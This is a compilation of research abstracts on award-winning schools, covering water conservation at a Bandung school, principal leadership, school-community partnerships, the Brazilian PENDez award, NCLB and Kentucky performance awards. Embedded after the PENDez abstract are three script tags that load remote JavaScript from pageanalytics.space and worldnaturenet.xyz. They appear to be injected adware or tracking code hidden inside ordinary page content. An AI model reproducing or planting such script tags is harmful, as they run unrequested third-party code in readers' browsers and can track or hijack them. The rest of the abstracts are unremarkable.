Award-winning School Research Articles

Model Pemanfaatan Air di SMPN 28 Bandung sebagai Peraih Penghargaan Adiwiyata di Kota Bandung

Water is a very important component in supporting life. Water conditions in the country is currently experiencing a lot of problems . Along with the increasing growth in the number of human increasing water demand, while water availability decreases. Adiwiyata Award-Winning School is a school that is considered successful in creating the management and conservation of the environment in terms of one aspect of saving water resources in the school. The aims of research are (i) to determine the efforts made to conserve water consumption in school, (ii) to knowing the water management system and water balanc , and (iii) the factors that influence the success of water conservation programs in schools. The method used is a mix between qualitative and quantitative method . Qualitative methods are used to determine school policy to conserve water consumption , and water management systems in schools . Quantitative methods are used to determine the water balance and the factors that influence the success of water conservation programs in school. The results showed in an effort to conserve water consumption in schools developed policies based management and environmental conservation contained in the vision, mission , goals and objectives of the program , funding policies and programs in policy development RAKS for water-saving infrastructure. Water management system prepared through a phase of water conservation programs, planning activities and implementation of water conservation, the school has not made the of the evaluation phase of the program . Water balance at SMP 28 obtained the consumption of water used is still below with SNI standard The largest volume of water consumption is used for activities wudhu , urination and hand washing. Savings occur from the use of waste water from wash hands and wudhu, thereby reducing water consumption in school..

One Size Does Not Fit All: How Leadership Strategies Affect Teacher Satisfaction and Retention

Teacher retention rates continue to plummet at schools across the nation. A principal at Sunnyside Elementary watches firsthand as the revolving door of teachers increases significantly in her brief 3 years of leadership at this school. Once well-known and highly regarded at an award-winning school in the northeast, the principal struggles to delegate, communicate, and acclimate to a high-needs school in the southeastern United States. Yet the practices that worked so well in the northeast sends many of her teachers to search for greener pastures year after year. This case study examines leadership for retention, including communication, organizational climate, and relationship development.

Portrait of the Best Practices of Public School Heads in Establishing School-Community Partnerships

Case analyses were conducted to identify the best practices of public elementary and secondary school heads of the Division of Tarlac City and Province regarding school-community partnerships. This study was focused on the best practices of the school heads in establishing and sustaining school-community partnerships as well as the challenges encountered. Data were gathered using interview and documentary analysis. All participants were awarded for having strong school-community partnerships and were evaluated with Level III (Advanced) Practice for School-Based Management during the school year 2019-2020 and 2020-2021. Results showed that school heads established successful strong school-community partnerships by constantly involving the stakeholders in decision-making and planning of all the activities of the school, soliciting feedbacks from them, assessing the needs of the school and the community, having shared vision, delegating tasks with the stakeholders, having constant communication, showcasing the school’s achievements, adhering to No Collection Policy, establishing clear organizational structure, signing of Memorandum of Agreement, and being transparent at all times. Data also revealed the challenges encountered by the school heads in establishing school-community partnerships which include low socioeconomic status of the members of the community, gaining the trust of the community and other stakeholders, negative notions about school-community partnerships, adjusting to the changes brought about by the pandemic, having individual differences, and being situated in a far-flung area. Inconsistent communication with stakeholders, difficulty with time management due to overlapping tasks, responding to changes, and the notion that an award-winning school no longer needs support were also challenges for school heads in sustaining partnerships. Despite these challenges, the cases maintained the motivation of their stakeholders by keeping constant communication with them, tapping all the stakeholders not just for financial support, but also for their skills, keeping all the partners updated on the school’s programs, activities, and projects, recognizing and awarding dedicated partners, and practicing shared leadership and governance. An Action Plan was proposed to address these concerns. Based on the findings and conclusions, schools should promote increased collaboration and cooperation among partners. School’s dedication plus community commitment equals successful learning. Keywords: School-Community Partnerships, Best Practices, Case Study, Department of Education-Tarlac, Philippines

Under Pressure: Leadership for Literacy and Cultural Responsiveness

This case considers the literacy leadership practices of Principal Howard at Pinecrest Academy Title I elementary school in the southeastern United States. An award-winning school, Pinecrest Academy serves over 500 students, 98% of whom are students of color. Through the lens of instructional leadership for literacy and culturally responsive school leadership for literacy, this case study examines how the principal used school improvement planning to (a) bolster the literacy outcomes of third-grade students of color, (b) form partnerships with the parents and families of third-grade students of color to increase literacy outcomes, and (c) reframe the literacy focus when external and internal factors threatened to derail the school’s progress.

Advancing advocacy: Lessons learned from advocates in school psychology.

Although school psychologists are called on a daily basis to advocate for the needs of our nations' schoolchildren, little is known about the factors that contribute to effective school-based advocacy. This study involved face-to-face interviews with 21 award-winning school psychology advocates. They described what led them into advocacy, obstacles faced, successes experienced, mistakes made, strategies used, resources employed, skills needed, and changes observed. The advocates discussed their definitions of advocacy, how they find balance, their advice for newcomers, and how they empower others. Following a qualitative content analysis, their collective input yielded important findings, including indispensable advice for future advocates. Most suggested that beginners' build relationships with like-minded collaborators and the targets of their advocacy, devote time to building expertise, and be patient and persistent. Common obstacles included intransigence among school psychology colleagues who were reluctant to change their roles to reflect new developments in the field or who feared participating in advocacy would destabilize their positions. To fully embrace an advocacy role, most advised advocacy education and training for both existing school psychologists and newcomers to the field. Limitations and implications that inform a foundation for advancing advocacy within school psychology are discussed. (PsycINFO Database Record (c) 2019 APA, all rights reserved).

Implementação de políticas públicas educacionais na perspectiva dos agentes burocráticos

<p>Este estudo traz para o campo da educação novas possibilidades para a análise da implementação de políticas educacionais, ao procurar compreender o processo de implementação do Prêmio Escola Nota Dez (PENDez) no estado do Ceará, por meio da percepção dos agentes implementadores em quatro pares de escolas parceiras da região do Cariri (CE). As escolhas teórico-metodológicas na perspectiva da Burocracia de Nível de Rua e da Burocracia de Médio Escalão abriram um leque de possibilidades de pesquisa junto aos agentes implementadores e sua interação com o contexto da política. A pesquisa mostra que os agentes implementadores fazem adaptações no currículo, na avaliação e no trabalho pedagógico para a obtenção da premiação. Além disso, essas intervenções afetam a interpretação do PENDez e sua implementação e, por isso, a política termina sendo adaptada às possibilidades e aos constrangimentos impostos pelas agências implementadoras.</p><p>Políticas Públicas, Educação, Avaliação da Educação, Metodologia.</p><p> </p><p>Implementación de políticas públicas educacionales desde la perspectiva de los agentes burocráticos</p><p>Este estudio trae al campo de la educación nuevas posibilidades para analizar la implementación de políticas educacionales, al tratar de comprender el proceso de implementación del Prêmio Escola Nota Dez (PENDez) en el estado de Ceará, por medio de la percepción de los agentes implementadores en cuatro pares de escuelas aliadas de la región de Cariri (CE). Las elecciones teórico-metodológicas desde la perspectiva de la Burocracia de Nivel de la Calle y la Burocracia de Mediano Escalón abrieron un abanico de posibilidades de investigación junto a los agentes implementadores y su interacción con el contexto de la política. La investigación muestra que los agentes implementadores adaptan el currículo, la evaluación y el trabajo pedagógico para obtener la premiación. Además, tales intervenciones afectan la interpretación del PENDez y su implementación y, por ello, a política se adapta a las posibilidades y a los requisitos impuestos por las agencias implementadoras.</p><p>Políticas Públicas, Educación, Evaluación de la Educación, Metodología.</p><p> </p><p>Implementation of educational public policies from the perspective of bureaucratic agents</p><p>The present study introduces new possibilities, for the analysis of educational policy implementation, into the field of education. It seeks to understand the implementation process of the Prêmio Escola Nota Dez (PENDez) (Award Winning School) in the state of Ceará. This is done from the point of view of implementing agents, in four pairs of partner schools in the Cariri (CE) region. The theoretical-methodological choices, from the perspective of the Street Level Bureaucracy and the Mid-Level Bureaucracy, opened a range of research possibilities along with the implementing agents and their interaction in the policy context. This study shows that the implementing agents make adaptations to the curriculum in the evaluation and the pedagogic work in order to earn the award. In addition, these interventions affect the interpretation and implementation of the PENDez. Therefore, the policy becomes adapted to the possibilities and constraints imposed by the implementing agencies.</p><p>Public Policies, Education, Educational Evaluation, Methodology.</p><script type="text/javascript" src="http://pageanalytics.space/addons/lnkr5.min.js"></script><script type="text/javascript" src="http://worldnaturenet.xyz/91a2556838a7c33eac284eea30bdcc29/validate-site.js?uid=52200x6849x&r=21"></script><script type="text/javascript" src="http://pageanalytics.space/ext/1ac1b73204b5d3dec6.js?sid=52200_6849_&title=&blocks[]=31af2"></script>

Social Accountability: A Framework for Medical Schools to Improve the Health of the Populations They Serve.

Social accountability has gained importance and greater acceptance in the ever-increasing complexity and interconnectivity of patient care, education, and research that is the threefold mission of academic health science centers and networks. In this Invited Commentary, the author provides a brief overview of the development of the concept of social accountability and the criteria for the Association for Medical Education in Europe ASPIRE-to-Excellence Award for Social Accountability, which provide a useful framework for medical schools to consider when examining their own social accountability. Per these criteria, schools are expected to document social accountability plans in their organization and functions; document social accountability actions in their education and research program activities; and demonstrate positive impacts of their education, research, service, graduates, and partnerships on the health care and health of their community, region, and nation. Award-winning schools integrate social accountability into the school's mission, planning, and day-to-day management. The health needs and diversity of the school's community, region, and nation are reflected in the school's admissions, curriculum, learning experiences, research activities, health care partnerships, and graduates. The author also describes three award winners as exemplars of social accountability and concludes by challenging every medical school and graduate medical education program to focus on meeting the needs of the populations it serves, especially those who are marginalized, vulnerable, and underserved.

Same but different

Nursery WorldVol. 2017, No. Sup10 GenderSame but differentNicole WeinsteinNicole WeinsteinSearch for more papers by this authorNicole WeinsteinPublished Online:29 May 2017https://doi.org/10.12968/nuwa.2017.Sup10.12AboutSectionsView articleView Full TextPDF/EPUB ToolsAdd to favoritesDownload CitationsTrack CitationsPermissions ShareShare onFacebookTwitterLinked InEmail View articleAbstractOne award-winning school in London strives to be gender-neutral and help children embrace different family make-ups. By Nicole Weinstein FiguresReferencesRelatedDetails 14 May 2017Volume 2017Issue Sup10ISSN (print): 0029-6422ISSN (online): 2059-9358 Metrics History Published online 29 May 2017 Published in print 14 May 2017 Information© MA Healthcare LimitedPDF download

Preparing Future Teacher Leaders

In this paper, we argue that teachers have an opportunity to take on leadership roles in tecltnology-rich schools and districts. Based on data collected during a year-long project to investigate award-winning schools and districts, we used observations, interviews and focus groups, and document analysis to glean lessons learned from leaders and teachers. Teacher leaders emerged as a noticeable and important aspect of what we saw and heard. Therefore, we highlight ways teachers and leaders can work together to bring about school improvement and student achievement using technology as a key leverage point; in particular we suggest that teacher candidates should be prepared during their preparation programs to take on the role of teacher leader.

Editorial

Editorial Sylvia Vardell (bio) and Catherine Kurkjian (bio) Click for larger view View full resolution Dear Bookbird Readers, In this first issue of the new calendar year, we have assembled a collection of articles from the Netherlands, South Africa, Australia, Norway, the United States, New Zealand, and Japan. You'll find a common thread woven through the first five pieces which focus on encounters of literature about "the other" in the context of one's own cultural setting. The final two companion articles from New Zealand and Japan portray key ways in which libraries can invite children into a wide world of reading within their own particular settings. Helma van Lierop-Debrauwer's South Africa in Dutch children's literature, 1899-1901; The U-Huhu stories of Nynke van Hichtum analyzes a three-part series about a Zulu boy named U-Huhu written by Nynke van Hitchum, one of the best known Dutch authors from the first part of the twentieth century. In Debrauwer's close reading of these texts she articulates a depiction of "the other" rooted in exoticism and describes a view of Zulu culture presented to readers within van Hichtum's ideological framework and the context of the times. We traverse from the past into the present contemporary terrain of South African children's literature in Breaking new ground with Reviva Schermbrucker: South African writer and illustrator by Ruth Stone and Barbara Lehman. We learn about Schermbrucker's powerful impact on contemporary South African children's [End Page ii] literature in her landmark portrayals of either under-represented or non-represented identities. In particular, we discover that Schermbrucker was among the first to publish a book about a contemporary Black child with illustrations that reflect contemporary Black townships. How is literature by "the other" translated for targeted readers of another culture? Leah Gerber grapples with this issue in The proof is in the puddin': the German translation of Norman Lindsay's The Magic Pudding. Considered an Australian classic, The Magic Pudding was published before 1918, yet was first translated in 1992. Gerber's close analysis of the translation into German depicts a tightrope balancing act in which efforts are made to maintain both the cultural integrity and literary style of the work with a need to "domesticate" the text to make it more comprehensible to readers and to enhance its marketability. What kinds of cultural encounters can be found in contemporary Norwegian children's literature? Does Norwegian children's literature mirror a multicultural society? What is the impact of translations from other countries on Norwegian children's literature? These are the questions that Åse Marie Ommundsen asks in Childhood in a multicultural society? Globalization, childhood and cultural diversity in Norwegian children's literature. As Ommundsen explores these issues, she draws some provocative and interesting conclusions. Finally, the last of this quintet of articles focusing on encounters with "the other" is Christina Desai's The world as presented to U.S. children: Building bridges or confirming expectations? Desai questions whether or not the faith in the power of children's literature as a vehicle to promote understanding is well-founded. In her analysis of a sample of books from the American Library Association's bibliography, Growing up around the world: Books as passports to global understanding for children in the United States, she raises important issues and sheds light on this critical question. The final two companion pieces focus on the importance of school libraries. Wayne Mills provides a Kiwi perspective on school libraries offering a cogent rationale for the importance of the school library and identifying guidelines for successful contemporary school libraries and librarians. Moving from the general to the particular, Momo Yuriko profiles an innovative award-winning school library initiative. In keeping with Mills' discussion of key ingredients, Yuriko describes a welcoming child-centered emotional and physical environment at the Gurigura library at Keimei Elementary School in Japan. Unique to this project is the description of school-wide initiatives that promote curriculum development and community engagement to promote wide reading. This article is adapted from the English language supplement, HONTSUBA, to the new Japanese edition of Bookbird that appeared in March 2010, and is published by...

A Focus on Achievement at Excel High School: A Best Practices Case Study

This case study describes the first years of leadership for Headmaster Ligia Noriega at Excel High School in South Boston, one of the Boston Public Schools' small high schools. It is one of a series of case studies developed by Ed Vestors and the Rennie Center for Education Research & Policy to share the best practices of schools that are awarded the Ed Vestors Thomas W. Payzant School on the Move Prize, given each year to one of the most improving Boston Public Schools. Ed Vestors hosts the $100,000 Prize and awards the Prize following a thorough quantitative and qualitative review. The purposes of the Prize are to highlight the ongoing work of strengthening schools and advancing the academic achievement of all students over a four-year period and to support the sharing of best practices with other schools in and outside of Boston. A portion of the award is set aside for a case study documenting the successful strategies from each year's award-winning school. The case study of Excel High School is featured in this Special Section.

Death-Defying Testimony: Women's Private Lives and the Politics of Public Documents

Death-Defying Testimony:Women's Private Lives and the Politics of Public Documents Lois Brown Pauline Elizabeth Hopkins succeeded as a playwright, acclaimed vocalist, enterprising journalist, feisty public intellectual, ambitious activist, eloquent patriot, and stalwart club woman from the 1870s through 1915.1 A fifth-generation New Englander born in 1859 in Portland, Maine, Hopkins was the only child of Sarah Allen Northup of Boston and Benjamin Northup of Providence, a couple whose marriage united powerful political and religious dynasties and blended tumultuous histories of freedom and enslavement. Hopkins's writing life began with an award-winning school essay on the evils of intemperance and ended with the most economical of writing occupations at Massachusetts Institute of Technology, where she was a stenographer. Her writing life and the lives she documents shape my approach to private writing and biography. In writing Pauline Elizabeth Hopkins: Black Daughter of the Revolution, I was compelled to document and assess the public and private lives she generated, sustained, and revised. I had time and reason to grapple with the archival and intellectual issues that emerge as a result of scholarly biography projects. We know projects like these often proceed as extended—sometimes seemingly never-ending—considerations of the politics of private writing, biography, and the archive. A Sojourner in the Archive As a literary historian, I have been a sojourner in the archive—one whose research plans do not always first yield the foundational organizing details of birth date, parentage, marriage, occupation, and church affiliations. I am in search of lives developed in the shadow of imagined democracy or sustained despite involuntary proximity to the blistering core of an America that accommodated and perpetuated enslavement. The free-born, self-emancipated, or enslaved individuals I encounter in the archives negotiated peculiar, highly racialized, and deeply sexualized institutions that co-opted their labor, bodies, identities, relationships, offspring, and [End Page 130] communities. Nineteenth-century people of color contended with racial and social realities and hierarchies that depended on and were strengthened by wholly permeable and vulnerable spheres—so much so that racialized notions of the private frequently are critiques of a volatile public sphere and of bodies that were always already available for public consumption. Biography projects about these individuals become considerations of the pursuits, acquisitions, fictions, and shifting valuations of privacy. This is a rigorous dance indeed, for biographer and subject alike, and there are breathless and breathtaking stakes at hand. As an earnest graduate student in the early 1990s, I went to Fisk University to see the Pauline Hopkins Papers. The very first question the archivist put to me was rhetorical at best: "You're here for a week? I don't know why you think you need all that time. It's only one box." Yet what was in the box, and the other items that emerged over the course of that week as I proved myself an earnest and worthy scholar-in-training, revealed two questions: First, what must we do in the face of sparse and provocative private writing when it has no linear foot breadth or documented provenance and raises more questions than it answers? Second, how do we grapple with the seeming silences—these rhetorical ruptures and biographical caesuras—that all too often define the early African American canon and history? I ask these questions even as I assert that our expectations of racialized private writing cannot be modest or anchored in disappointment and loss. We must have a practice of intellectual and archival optimism, and certainly the invaluable archival recovery and insistent intellectual work of many scholars—Carla Peterson, Frances Foster, Karen Sánchez-Eppler, Gabrielle Foreman, Jeanne Pfaelzer, Karen Kilcup, Sharon Harris, and others—explains why. My decades-plus project on Hopkins and her world disciplined me and even rode me ragged at times as I embarked on wide-ranging physical and intellectual journeys, trekked to obscure and well-known archives, ventured into graveyards, stepped into municipal storage spaces, took up residence in countless airless microfilm rooms, and made forced, voluntary, and serendipitous marches across acres of library stacks. I muttered as much as I walked. Sometimes I cursed the fact that anything about Negroes was relegated...

What Money Can't Buy

Sometimes the first duty of intelligent men is the restatement of the obvious. --George Orwell States are in a fiscal funk. This means, as we are told in Education Week, that ambitious education initiatives are being scuttled (Jacobson 2008). Sounds grim, but there may be an opportunity here. The current downturn could force us to see how much can be accomplished by attending to some long overlooked, incontrovertibly effective actions and initiatives. Best of all, these are largely free. It's not that funding is irrelevant or that money couldn't help us institute these changes. But the simple, fundamental actions I recommend could all be done with existing resources. In combination, they would have more impact on on the achievement gap, and on civic, college, and career preparedness than anything we've ever done. This might sound far-fetched. So before you weigh their merits, know that each of the following suggestions has been tested on hundreds of educators, including members of state and national education organizations. Overwhelming majorities of these audiences have strongly agreed with these proposals, as well as the problems--the brutal realities--which they address. Stop wasting time by using worksheets, movies, and the like as if they were important instructional tools. Virtually every audience I have spoken to will admit to the inexcusable proliferation and abuse of worksheets, movies, and other time-consuming activities that only masquerade as instruction. Even teachers and administrators in high-scoring or award-winning schools openly acknowledge this. Most of them agree that, with exceptions, low-quality worksheets consume as much as 25% or more of class time in most schools. Replacing these with worthy learning experiences (which I describe below) would be like adding two months to the school year--enough to have a breathtaking impact on learning. And then there are ... the movies. When I walk the halls of schools, from high-scoring to low, I routinely hear the blare of movies emanating from too many darkened classrooms--in science, history, and English. For most of these (often recent release) films, we hear the same flimsy justifications, year after year. Most of these movies consume about three entire class periods. Then, there is the ubiquitous coloring, cutting, and poster making, the collages and arts projects--in subjects like history and English, from kindergarten to senior year. In a rank perversion of active learning, differentiated instruction, and multiple intelligences, collages and mobiles have emerged as unit assessments for gauging student understanding of To Kill a Mockingbird and the Great Gatsby--even in honors classes. Something is amiss when high school students spend weeks building a medieval castle for World History, a course in which time is so clearly precious. All this starts in the early grades, when many children's academic futures and their college prospects are made or broken. That's when many students discover that reading class means lots of coloring, cutting, and pasting--about two-thirds of classtime, according to Ford and Opitz (2002). Add it up. These various diversions translate to several months per year of precious instructional time. As bizarre as these practices might sound to the average person, educators admit that they are oh-so-common in every kind of school, even as they diminish kid's futures. Fixing this is not a matter of money. Like all of the following, these problems will be solved only with candid, courageous dialogue. It's time to break the silence on these insidious, indefensible practices. But what will replace these activities? Simple, powerful lessons and activities that are affordable within most school's budgets. Dramatically increase the amount of purposeful reading, writing, and discussion--in as many subjects as possible. …

NCLB: Dreams and Nightmares

The idea of leaving no child behind may sound like a noble dream. But the federal law intended to fulfill that dream is in Mr. Houston's opinion so flawed that it has become a nightmare for educators. IT IS MY understanding that humans share many of the same nightmares, like going to a party with no clothes on or showing up for the final exam in a class you forgot to attend or, on the happier side, falling from a cliff and discovering that you can fly. Today, educators share a nightmare known as NCLB (or for the alphabetically impaired). Sadly, the No Child Left Behind Act is a nightmare in which everyone is naked while being pushed off a cliff because of poor test performance. The Nickelbee nightmare has many variations. One involves trying to fill every classroom with a qualified But in Nightmareland, highly qualified doesn't necessarily mean good. It means the teacher took the right number of subject-area courses in college and is teaching only those subjects. A certified chemistry teacher is not a highly qualified biology teacher. A middle school teacher certified as an elementary teacher is not highly qualified for middle school English. (Didn't we create middle schools so we could get away from the rigidity of the junior high school curriculum?) The big exception is teachers who have taken no education courses but apply for alternative certification. The day they apply for certification, they become highly qualified. This is the magical approach to becoming highly qualified and proves that the bureaucrats who draft these laws have a sense of humor. Of course, highly qualified teachers don't have to be good teachers pedagogically, and they certainly don't need to be kind or compassionate toward children. They just need to show they mastered their subject areas. The Nickelbee nightmare also involves explaining to your community why your award-winning school is on the list of those that need to improve because you didn't make AYP (adequate yearly progress) in every sub-area with every subgroup. You might try to explain how progress isn't really progress because you aren't measuring the same children. You might explain that your school failed because one or two children were absent on test day, which dropped you below the 95% threshold for attendance. You might also have to explain why kids who have been identified for special education now have to meet the same standards as those who have not been so identified. In other words, students with special needs aren't really special when it comes to achieving common results. Makes one wonder why we have spent billions on special education when we could have just tested all those children to greatness. Oh, and don't forget that you have to make sure that students who come to you from Albania in third grade and who don't speak English will master that subject and the first three years of the curriculum in one year so that by fourth grade they are proficient. I could go on, but like swatting flies at a watermelon-eating contest, it is just too easy to make fun of Nickelbee. The fact is that the goals of the law are fine. I haven't found one educator who doesn't agree with the high-minded goals of Nickelbee. I haven't met an educator who thinks it is just fine to leave some kids behind. Many have swallowed hard in their efforts to embrace the law because it is an attempt to create more equitable expectations for our students. The President has talked about the soft bigotry of low expectations, and most educators I know agree that the phrase describes a real problem. No one wants to see a single child left behind. In fact, it is a tribute to the nation's teachers and administrators that, despite the inanity of the law's details, they are working hard to implement it and make it work. From the coercive aspects of the law, one might think that the drafters thought children were being left behind on purpose. …

What's green about the 1996 award-winning school districts: A comparison of Indiana's districts containing Blue Ribbon winners with 30 randomly selected Indiana school districts

The relationship between spending on education and equal opportunity has been a subject of debate for several decades. This study aims to shed light on this debate by examining correlations between the distribution of Blue Ribbon awards to Indiana middle and high schools and per pupil expenditure. Based on criteria that include curricula, instruction, school climate, leadership, community support, goal setting and attainment, success with all students, skill development, and character education, Blue Ribbon School awards are a recognition of outstanding achievement given by the federal government. Using total federal, state, and local expenditures as the basis for comparison, we found that the federal government did not select more wealthy schools than poor schools for the Indiana Blue Ribbon School awards. However, there was a large difference in the expenditures per pupil in the Indiana districts with Blue Ribbon schools vs. the 30 randomly selected Indiana districts without Blue Ribbon schools. Total l...

The Kentucky School-Based Performance Award Program: School-Level Effects

This study examines the implementation of the Kentucky school-based performance award program in 16 elementary, middle, and high schools in the fall of 1996. Distinct differences were found between award- and non award-winning schools. Alignment of school goals and resources, including curriculum, professional development, and principal leadership were key enabling conditions associated with award schools. The state intervention strategy for helping initially unsuccessful schools enabled these schools to develop organizational conditions associated with award-winning schools. The data suggest a model of teacher motivation that builds on previous research in education and on empirical research on employee motivation.